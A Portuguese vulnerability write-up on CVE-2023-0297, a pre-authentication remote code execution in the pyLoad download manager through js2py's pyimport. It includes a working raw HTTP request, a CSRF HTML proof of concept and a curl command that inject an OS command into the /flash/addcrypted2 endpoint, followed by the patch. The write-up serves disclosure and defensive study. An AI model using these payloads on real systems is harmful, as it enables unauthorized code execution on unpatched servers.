bauh0lz/cve-2023-0297_pre-auth_rce_in_pyloadCVE-2023-0297: A História da Descoberta de Pre-auth RCE no pyLoad
A história de encontrar uma RCE pré-autenticação no pyLoad
Uma vulnerabilidade de injeção de código no pyLoad versões anteriores a 0.5.0b3.dev31 leva a uma RCE pré-autenticação ao abusar da funcionalidade js2py.
Você pode encontrar o relatório aqui e o código de exploração aqui.
pyLoad é um gerenciador de downloads OSS escrito em Python e gerenciável via interface web. Seu repositório GitHub tem aproximadamente 2,8k estrelas em 9 de janeiro de 2023.
Enquanto auditava o código-fonte do pyLoad, o seguinte código chamou minha atenção:
jk = eval_js(f"{jk} f()")
A definição da função eval_js é a seguinte:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()") usa a funcionalidade js2py que executa código JavaScript f"{jk} f()" onde o parâmetro jk é passado por um parâmetro de requisição:
jk = flask.request.form["jk"]
Portanto, você pode executar código JavaScript arbitrário ao requisitar o endpoint.
No entanto, como você pode abusar disso? Já que no contexto js2py.eval_js() nem XMLHttpRequest, fetch ou require (como no node.js) estão definidos, então SSRF ou leitura de arquivos locais não são possíveis.
Depois de algum tempo, encontrei uma funcionalidade interessante do js2py:
Finally, Js2Py também suporta importar qualquer código Python a partir de JavaScript usando a declaração 'pyimport':
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
Usando essa funcionalidade, você pode usar bibliotecas Python no contexto de js2py.eval_js()! Surpreendentemente, o pyimport está habilitado por padrão. :o
Tentei um código simples que executa comandos do SO usando pyimport:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
Como esperado, touch /tmp/pwnd foi executado!
Ao enviar a seguinte requisição, a mesma coisa aconteceria no host alvo:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
A parte ;f=function%20f2(){}; no parâmetro jk é necessária porque este endpoint executa eval_js(f"{jk} f()"). Se não estiver presente, o código injetado não será executado devido ao erro name 'f' is not defined.
Observe que um cookie e token CSRF não estão presentes na requisição. Isso significa que:
<html>
<!-- CSRF PoC - gerado pelo Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
Basta desabilitar a funcionalidade pyimport.
import js2py
+js2py.disable_pyimport()
Agradecimentos à equipe do huntr.dev e ao mantenedor do pyLoad pelas respostas rápidas!